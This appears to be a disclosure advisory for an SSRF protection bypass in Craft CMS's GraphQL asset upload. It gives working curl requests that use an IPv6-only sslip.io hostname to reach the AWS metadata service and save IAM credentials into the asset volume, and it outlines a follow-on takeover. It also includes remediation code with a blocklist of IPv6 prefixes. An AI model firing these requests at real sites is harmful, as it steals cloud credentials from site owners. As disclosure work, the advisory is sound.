Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution

The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.

This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).

Required Permissions

Exploitation requires GraphQL schema permissions for:

• Edit assets in the <VolumeName> volume
• Create assets in the <VolumeName> volume

These permissions may be granted to:

• Authenticated users with appropriate GraphQL schema access
• Public Schema (if misconfigured with write permissions)

Technical Details

Root Cause

From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"

When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.

Bypass Mechanism

+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL                                               |
|         http://fd00-ec2--254.sslip.io/latest/meta-data/                     |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io')            |
|         -> No A record exists                                               |
|         -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!)           |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check                                                     |
|         in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...])       |
|         -> FALSE (string != IPv4 addresses)                                 |
|         -> VALIDATION PASSES                                                |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request                                           |
|         -> Resolves DNS (including AAAA records)                            |
|         -> Gets IPv6: fd00:ec2::254                                         |
|         -> Connects to AWS IMDS IPv6 endpoint                               |
|         -> CREDENTIALS STOLEN                                               |
+-----------------------------------------------------------------------------+

Bypass Payloads

Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents

Additional IPv6 Internal Service Bypass Payloads

Steps to Reproduce

Step 1: Verify DNS Resolution

# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)

# Verify the hostname has IPv6 record (what Guzzle/curl uses)
$ dig fd00-ec2--254.sslip.io AAAA +short
fd00:ec2::254

Step 2: Enumerate AWS IAM Role Name

curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
  -d '{
    "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"
  }'

Step 3: Retrieve AWS Credentials

# Replace ROLE_NAME with the role discovered in Step 2
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
  -d '{
    "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }"
  }'

Step 4: Access Saved Credentials

The credentials will be saved to the asset volume (e.g., /userphotos/photos/creds.json).

Attack Scenario

1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled
2. Attacker sends mutation with url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/"
3. Error message or saved file reveals IAM role name
4. Attacker retrieves credentials via second mutation
5. Attacker uses credentials to access AWS services
6. Attacker can now achieve code execution by creating new EC2 instances with their SSH key

Remediation

Replace gethostbyname() with dns_get_record() to check both IPv4 and IPv6:

// Resolve both IPv4 and IPv6 addresses
$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);
if ($records === false) {
    $records = [];
}

// Blocked IPv6 metadata prefixes
$blockedIPv6Prefixes = [
    'fd00:ec2::',       // AWS IMDS, DNS, NTP
    'fd20:ce::',        // GCP Metadata
    '::1',              // Loopback
    'fe80:',            // Link-local
    '::ffff:',          // IPv4-mapped IPv6
];

foreach ($records as $record) {
    // Check IPv4 (existing logic)
    if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {
        return false;
    }

    // Check IPv6 (NEW)
    if (isset($record['ipv6'])) {
        foreach ($blockedIPv6Prefixes as $prefix) {
            if (str_starts_with($record['ipv6'], $prefix)) {
                return false;
            }
        }
    }
}

Additional Mitigations

Resources

• https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3
• PHP: gethostbyname - "Get the IPv4 address corresponding to a given Internet host name"
• GHSA-x27p-wfqw-hfcc - Original SSRF vulnerability (CVE-2025-68437)
• AWS IMDS IPv6 Documentation
• GCP Metadata Server Documentation
• PayloadsAllTheThings - SSRF Cloud Instances